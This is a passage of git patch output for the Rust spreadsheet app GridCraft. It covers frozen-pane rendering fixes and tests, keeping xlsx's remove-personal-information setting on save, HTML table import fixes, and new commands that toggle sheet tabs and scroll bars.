HAlign::Justify) { let mut cc = c.col + 1; while right - rect.left() < w + 2.0 * pad && cc < MAX_COLS && empty_ok(CellRef::new(c.row, cc)) && cc <= c1 + 20 { - right = geo.x(sh, cc + 1); + right = geo.x_end(sh, cc); cc += 1; } } diff --git a/crates/ui-egui/tests/it/borders.rs b/crates/ui-egui/tests/it/borders.rs index a9f203012..c0213ed92 100644 --- a/crates/ui-egui/tests/it/borders.rs +++ b/crates/ui-egui/tests/it/borders.rs @@ -160,3 +160,40 @@ fn merged_range_draws_the_outline_from_its_edge_cells() { assert_eq!(ys.iter().filter(|y| (**y - max_y).abs() < 0.5).count(), 4, "bottom edge"); assert!(max_x - min_x > 100.0 && max_y - min_y > 40.0, "the outline spans the whole merged area"); } + +/// #2544: a merged range in frozen columns keeps its whole outline while the others scroll: the +/// bottom edge under its last column ends at that column's own right edge, the freeze line. +#[test] +fn frozen_merged_range_keeps_its_outline_when_scrolled() { + let mut h = harness(); + h.state_mut().run("home.borders", json!({"range": "A2:B3", "preset": "thickOutside", "color": "#C81E1E"})).unwrap(); + h.state_mut().run("home.mergeCells", json!({"range": "A2:B3"})).unwrap(); + h.state_mut().run("view.freezePanes", json!({"cell": "C1"})).unwrap(); + h.state_mut().run("selection.set", json!({"range": "H10"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll.x = 300.0; + h.run_steps(6); + let freeze_x = { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = gridcraft_ui_egui::grid::Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + geo.cells.left() + geo.frozen_w + }; + let red = Color32::from_rgb(0xC8, 0x1E, 0x1E); + let right_ends: Vec = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::LineSegment { points, stroke } if stroke.color == red && (points[0].y - points[1].y).abs() < 0.5 => { + Some(points[0].x.max(points[1].x)) + } + _ => None, + }) + .collect(); + assert_eq!(right_ends.len(), 4, "top and bottom edges, one segment per column: {right_ends:?}"); + assert_eq!( + right_ends.iter().filter(|x| (**x - freeze_x).abs() < 1.0).count(), + 2, + "B's segments end at the freeze line: {right_ends:?} vs {freeze_x}" + ); +} diff --git a/crates/ui-egui/tests/it/freeze_handles.rs b/crates/ui-egui/tests/it/freeze_handles.rs index 7bcc81d1a..e3ccf8c65 100644 --- a/crates/ui-egui/tests/it/freeze_handles.rs +++ b/crates/ui-egui/tests/it/freeze_handles.rs @@ -66,3 +66,19 @@ fn dragging_the_handles_freezes_moves_and_unfreezes() { drag(&mut h, rows.center(), pos2(rows.center().x, g.cells.top() - 5.0)); assert_eq!(freeze(&h), None); } + +/// The last frozen column ends at the freeze line however far the other columns scroll, while +/// the next column's left edge moves with the scroll (#2544). +#[test] +fn last_frozen_column_ends_at_the_freeze_line_when_scrolled() { + let mut h = harness(); + h.state_mut().run("view.freezePanes", serde_json::json!({"cell": "C3"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll = egui::vec2(300.0, 200.0); + h.run_steps(2); + let g = geo(&h); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + let split = g.cells.min + egui::vec2(g.frozen_w, g.frozen_h); + assert!((g.x_end(&sh, 1) - split.x).abs() < 0.01 && (g.y_end(&sh, 1) - split.y).abs() < 0.01); + assert!(g.x(&sh, 2) < split.x && g.y(&sh, 2) < split.y, "C and row 3 are scrolled under the frozen panes"); + assert!(g.same_col_pane(0, 1) && g.same_col_pane(2, 9) && !g.same_col_pane(1, 2)); +} diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index 8756666db..076478e52 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -390,3 +390,69 @@ fn wrapped_text_clipping_survives_partial_vertical_scroll() { clip={clip:?}, expected={expected_bottom:.2}" ); } + +/// Issue #2544: text in a frozen column keeps its whole cell while the other columns scroll. +#[test] +fn frozen_column_text_keeps_its_cell_when_scrolled() { + let mut h = harness(|s| { + s.execute("cell.set", json!({"cell": "A1", "input": LEFT})).unwrap(); + s.execute("cell.set", json!({"cell": "C1", "input": "v"})).unwrap(); + s.execute("view.freezeFirstColumn", json!({})).unwrap(); + }); + for col in [1, 2, 3, 8] { + scroll_to_col(&mut h, col); + let a1 = cell_rect(&h, "A1"); + let clips = text_clips(&h, LEFT); + assert_eq!(clips.len(), 1, "A1 is drawn once: {clips:?}"); + assert!( + (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - a1.right()).abs() <= 0.5, + "A1's text spans A1 at column {col}: {clips:?} vs {a1:?}" + ); + } +} + +/// Issue #2544: with two frozen columns, A1's text keeps overflowing across the whole of empty B1. +#[test] +fn frozen_text_overflows_to_the_freeze_line_when_scrolled() { + let mut h = harness(|s| { + s.execute("cell.set", json!({"cell": "A1", "input": LEFT})).unwrap(); + s.execute("view.freezePanes", json!({"cell": "C1"})).unwrap(); + }); + for col in [2, 3, 4, 10] { + scroll_to_col(&mut h, col); + let (a1, b1) = (cell_rect(&h, "A1"), cell_rect(&h, "B1")); + let clips = text_clips(&h, LEFT); + assert_eq!(clips.len(), 1, "A1 is drawn once: {clips:?}"); + assert!( + (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - b1.right()).abs() <= 0.5, + "A1's text spans A1:B1 at column {col}: {clips:?} vs {a1:?} {b1:?}" + ); + } +} + +/// Issue #2544: the frozen columns' gridlines reach the freeze line, and none is drawn inside +/// them at a scrolled column's edge. +#[test] +fn frozen_column_gridlines_stay_put_when_scrolled() { + let mut h = harness(|s| { + s.execute("view.freezePanes", json!({"cell": "C1"})).unwrap(); + }); + scroll_to_col(&mut h, 6); + let (a5, b5) = (cell_rect(&h, "A5"), cell_rect(&h, "B5")); + let frozen = |s: &egui::epaint::ClippedShape| s.clip_rect.right() <= b5.right() + 0.5 && s.clip_rect.left() <= a5.left(); + let segments: Vec<[egui::Pos2; 2]> = h + .output() + .shapes + .iter() + .filter(|s| frozen(s)) + .filter_map(|s| match &s.shape { + Shape::LineSegment { points, .. } => Some(*points), + _ => None, + }) + .collect(); + let row5 = segments.iter().find(|p| (p[0].y - (a5.top() - 0.5).round()).abs() <= 1.0 && p[0].y == p[1].y); + assert!(row5.is_some_and(|p| p[1].x >= b5.right() - 1.0), "row 5's gridline reaches the freeze line: {row5:?} vs {b5:?}"); + let verticals: Vec = segments.iter().filter(|p| p[0].x == p[1].x && p[0].y < b5.bottom()).map(|p| p[0].x).collect(); + let expected = [a5.left(), a5.right(), b5.right()].map(|x| x.round() - 0.5); + assert!(verticals.iter().all(|x| expected.iter().any(|e| (x - e).abs() <= 0.5)), "only A and B's edges: {verticals:?} vs {expected:?}"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..213ce49a3 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (frozen columns keep their text, gridlines and merged borders whole while the sheet scrolls (#2544); earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Frozen panes: text in frozen columns overflows only into its own pane and keeps its whole width while the sheet scrolls; frozen gridlines and merged-cell borders reach the freeze line, and the freeze handle measures the last frozen column itself (#2544). Page Layout view gridlines stop at each page's last column | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From f0557ec4437398b55d684fbd9228fca1f66736bc Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:25:29 -0600 Subject: [PATCH 245/298] #3089: keep "remove personal information on save" and honour it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excel's per-workbook privacy setting (Trust Center › Privacy Options › Remove personal information from file properties on save, set by the Document Inspector) is saved as , and while it is on Excel leaves the author and company empty on save. GridCraft dropped the attribute, so a cleaned workbook came back with the setting off, and it wrote the author and company back. Workbook.remove_personal_info now keeps the setting (read and written as filterPrivacy), and while it is on the writer leaves dc:creator and Company out. Other properties are written as before. Note authors and lastModifiedBy are the rest of the issue (the latter overlaps #881). Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 6 ++++++ crates/xlsx/src/read.rs | 1 + crates/xlsx/src/tests/roundtrip.rs | 27 +++++++++++++++++++++++++++ crates/xlsx/src/write.rs | 12 +++++++++--- docs/file-format-parity.md | 3 ++- 5 files changed, 45 insertions(+), 4 deletions(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 2d16b46b5..dbd011427 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -200,6 +200,11 @@ pub struct Workbook { pub calc: CalcSettings, #[serde(default, skip_serializing_if = "is_all")] pub show_objects: ShowObjects, + /// Trust Center › Privacy Options › "Remove personal information from file properties on save" + /// (``): kept with the file, and while it is on the author and + /// company are left out of what GridCraft saves, as Excel leaves them empty. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub remove_personal_info: bool, /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`]. pub active_sheet: ActiveSheet, /// The workbook window's display settings (``), kept across an open + save. @@ -338,6 +343,7 @@ impl Workbook { date_system: DateSystem::D1900, calc: CalcSettings::default(), show_objects: ShowObjects::All, + remove_personal_info: false, active_sheet: ActiveSheet::default(), view: WorkbookView::default(), props: DocProps::default(), diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 3cc2a6655..6c43feb31 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -200,6 +200,7 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { if p.flag("date1904", false) { cx.date_system = DateSystem::D1904; } + wb.remove_personal_info = p.flag("filterPrivacy", false); wb.show_objects = match p.attr("showObjects") { Some("none") => ShowObjects::None, Some("placeholders") => ShowObjects::Placeholders, diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 2bdba21b8..72ce434be 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -1696,3 +1696,30 @@ fn generated_rule_formulas_use_the_top_left_cell_of_every_area() { z.by_name("xl/worksheets/sheet1.xml").unwrap().read_to_string(&mut xml).unwrap(); assert!(xml.contains("NOT(ISERROR(SEARCH(\"x\",C2)))"), "{xml}"); } + +#[test] +fn remove_personal_information_is_kept_and_honoured() { + // #3089: `` was dropped, so a workbook cleaned of personal + // information came back with it switched off, and GridCraft wrote the author and company back. + let bytes = super::minimal("", &[], "", r#""#); + let (mut wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.remove_personal_info); + wb.props.author = "Jane Example".into(); + wb.props.company = "Example Co".into(); + wb.props.title = "Budget".into(); + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("workbookPr").and_then(|p| p.attr("filterPrivacy")), Some("1")); + let core = String::from_utf8(pkg.read("docProps/core.xml").unwrap().unwrap()).unwrap(); + let app = String::from_utf8(pkg.read("docProps/app.xml").unwrap().unwrap()).unwrap(); + assert!(!core.contains("Jane Example") && !app.contains("Example Co"), "{core}\n{app}"); + assert!(core.contains("Budget"), "other properties stay: {core}"); + // Off (the default), nothing changes. + wb.remove_personal_info = false; + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("workbookPr").and_then(|p| p.attr("filterPrivacy")), None); + assert!(String::from_utf8(pkg.read("docProps/core.xml").unwrap().unwrap()).unwrap().contains("Jane Example")); +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index 2c1e8f60f..c53776cb6 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -293,6 +293,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) if wb.date_system == gridcraft_core::DateSystem::D1904 { w.push_str(" date1904=\"1\""); } + if wb.remove_personal_info { + w.push_str(" filterPrivacy=\"1\""); + } w.push_str("/>"); if wb.protected_structure { let pw = wb.structure_password.as_ref().map(|h| crate::sheet_write::password_attrs(h, "workbook")).unwrap_or_default(); @@ -399,13 +402,16 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) // Document properties. let p = &wb.props; + // "Remove personal information on save": the author and company are not saved (#3089). + let private = |v: &String| if wb.remove_personal_info { String::new() } else { v.clone() }; + let (author, company) = (private(&p.author), private(&p.company)); let mut core = format!( "{XML_DECL}" ); for (tag, v) in [ ("dc:title", &p.title), ("dc:subject", &p.subject), - ("dc:creator", &p.author), + ("dc:creator", &author), ("cp:keywords", &p.keywords), ("dc:description", &p.description), ] { @@ -417,8 +423,8 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) out.part("docProps/core.xml", Some("application/vnd.openxmlformats-package.core-properties+xml"), core.into_bytes()); let mut app = String::from(XML_DECL); app.push_str("GridCraft"); - if !p.company.is_empty() { - let _ = write!(app, "{}", esc(&p.company)); + if !company.is_empty() { + let _ = write!(app, "{}", esc(&company)); } app.push_str(""); out.part("docProps/app.xml", Some("application/vnd.openxmlformats-officedocument.extended-properties+xml"), app.into_bytes()); diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..51c0ad309 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (`workbookPr filterPrivacy` kept, and honoured on save; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `` (Remove personal information from file properties on save) is read and written back, and while it is on GridCraft saves no author (`dc:creator`) and no company, as Excel leaves them empty (#3089, file part) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 48c52e14af39c93b40f552e2ae41d0e25ef6e9f8 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:36:40 -0600 Subject: [PATCH 246/298] #3166: a web page opens after a leading comment and keeps its non-breaking spaces Addresses CodeRabbit review on #3223: - "Skip leading HTML comments before the prefix check": a page starting with an exporter's was read as CSV text. Complete leading comments are now skipped before looking for the page's start. - "Preserve nonbreaking spaces in HTML text imports": split_whitespace turned New  York into "New York". The decoded cell text is used as is (ordinary whitespace is already collapsed), so the non-breaking spaces stay, as Excel keeps them. Test: a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 13 +++++++++++-- crates/engine/src/io/tests.rs | 12 ++++++++++++ 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index f62a55e40..913fcdd5a 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -357,7 +357,15 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. let text = gridcraft_xlsx::decode_text(bytes); - let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); + // Comments an exporter writes before the page (``) don't make it something else. + let mut rest = text.trim_start_matches('\u{feff}').trim_start(); + while let Some(after) = rest.strip_prefix("").and_then(|end| after.get(end + 3..)) { + Some(more) => rest = more.trim_start(), + None => break, + } + } + let head: String = rest.chars().take(16).collect::().to_ascii_lowercase(); if ![", bytes: &[u8], csv_as_text // cell keeps the text it shows. let field = match cell.num.filter(|_| !csv_as_text) { Some(n) => gridcraft_core::number_to_text(n), - None => cell.text.split_whitespace().collect::>().join(" "), + // Whitespace is already collapsed; non-breaking spaces stay, as in Excel. + None => cell.text.clone(), }; if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field } }) diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index fab60261f..ad3fae99c 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -656,3 +656,15 @@ fn a_web_page_table_keeps_its_characters_text_and_header_formats() { let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50")); } + +#[test] +fn a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces() { + // An exporter's comment before still makes a web page; ` ` stays a non-breaking + // space, as Excel keeps it, while ordinary whitespace collapses. + let page = "\n
New  Yorka \n b
"; + let (wb, warnings) = open_bytes("cities.xls", page.as_bytes()).unwrap(); + assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("New\u{a0}\u{a0}York")); + assert_eq!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::text("a b")); +} From 846cc09d67d9fb3c4dd2cbdf3653d3b111d59da2 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:34:55 -0600 Subject: [PATCH 247/298] #3101: show or hide the sheet tabs and scroll bars of a workbook MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Excel can hide the sheet tabs, the horizontal scroll bar and the vertical scroll bar of a workbook window (File › Options › Advanced › Display options for this workbook), saved with the workbook. GridCraft already read and wrote these settings (#3057) but always showed all three, and had no command or option for them. New commands view.showSheetTabs, view.showHorizontalScrollBar and view.showVerticalScrollBar {on?} (toggling without `on`, undoable, saved with the workbook), and a "Display options for this workbook" section in File › Options. The tab bar follows them: without the tabs the scroll bar takes the bar, without the scroll bar the tabs do, and with neither the bar isn't shown; without the vertical scroll bar the grid takes its width. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/view.rs | 36 +++ crates/engine/src/tests.rs | 19 ++ crates/ui-egui/src/backstage/options.rs | 18 +- crates/ui-egui/src/grid/show.rs | 12 +- crates/ui-egui/src/tabs.rs | 325 +++++++++++++----------- crates/ui-egui/tests/it/tab_split.rs | 46 ++++ docs/ui-parity.md | 3 +- 7 files changed, 303 insertions(+), 156 deletions(-) diff --git a/crates/engine/src/cmd/view.rs b/crates/engine/src/cmd/view.rs index c508890c3..3631d0e56 100644 --- a/crates/engine/src/cmd/view.rs +++ b/crates/engine/src/cmd/view.rs @@ -40,6 +40,27 @@ pub fn specs() -> Vec { cmd!("view.showZeros", "Show Zeros", [], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "zeros")), cmd!("view.showOutlineSymbols", "Show Outline Symbols", [], Some("Ctrl+8"), "{on?}", has_doc, |s, p| sheet_flag(s, p, "outlineSymbols")), cmd!("view.showObjects", "Show Objects", [], Some("Ctrl+6"), "{on?}", has_doc, show_objects), + cmd!( + "view.showSheetTabs", + "Show Sheet Tabs", + [], + None, + "{on?} (File › Options › Advanced, this workbook; toggles without `on`)", + has_doc, + |s, p| { workbook_view_flag(s, p, "sheetTabs") } + ), + cmd!( + "view.showHorizontalScrollBar", + "Show Horizontal Scroll Bar", + [], + None, + "{on?} (this workbook; toggles without `on`)", + has_doc, + |s, p| { workbook_view_flag(s, p, "horizontal") } + ), + cmd!("view.showVerticalScrollBar", "Show Vertical Scroll Bar", [], None, "{on?} (this workbook; toggles without `on`)", has_doc, |s, p| { + workbook_view_flag(s, p, "vertical") + }), cmd!("view.rightToLeft", "Sheet Right-to-Left", ["Page Layout", "Sheet Options"], None, "{on?}", has_doc, |s, p| sheet_flag(s, p, "rtl")), cmd!("view.zoom", "Zoom", ["View", "Zoom"], None, "{percent: 10..400}", has_doc, zoom), cmd!("view.zoom100", "100%", ["View", "Zoom"], None, "{}", has_doc, |s, _| zoom(s, &json!({"percent": 100}))), @@ -189,6 +210,21 @@ fn sheet_flag(s: &mut Session, p: &Json, which: &str) -> Result { }) } +/// File › Options › Advanced › Display options for this workbook: the sheet tabs and the two +/// scroll bars, saved with the workbook (``). +fn workbook_view_flag(s: &mut Session, p: &Json, which: &str) -> Result { + edit(s, |cx| { + let view = &mut cx.wb.view; + let slot = match which { + "sheetTabs" => &mut view.show_sheet_tabs, + "horizontal" => &mut view.show_horizontal_scroll, + _ => &mut view.show_vertical_scroll, + }; + *slot = bool_param(p, "on").unwrap_or(!*slot); + Ok(json!({"on": *slot})) + }) +} + /// Ctrl+6: hides every object, or shows them again. Placeholders (from a file) count as shown. fn show_objects(s: &mut Session, p: &Json) -> Result { use gridcraft_model::ShowObjects; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 5f92718ba..4d0cabd17 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5457,3 +5457,22 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() { 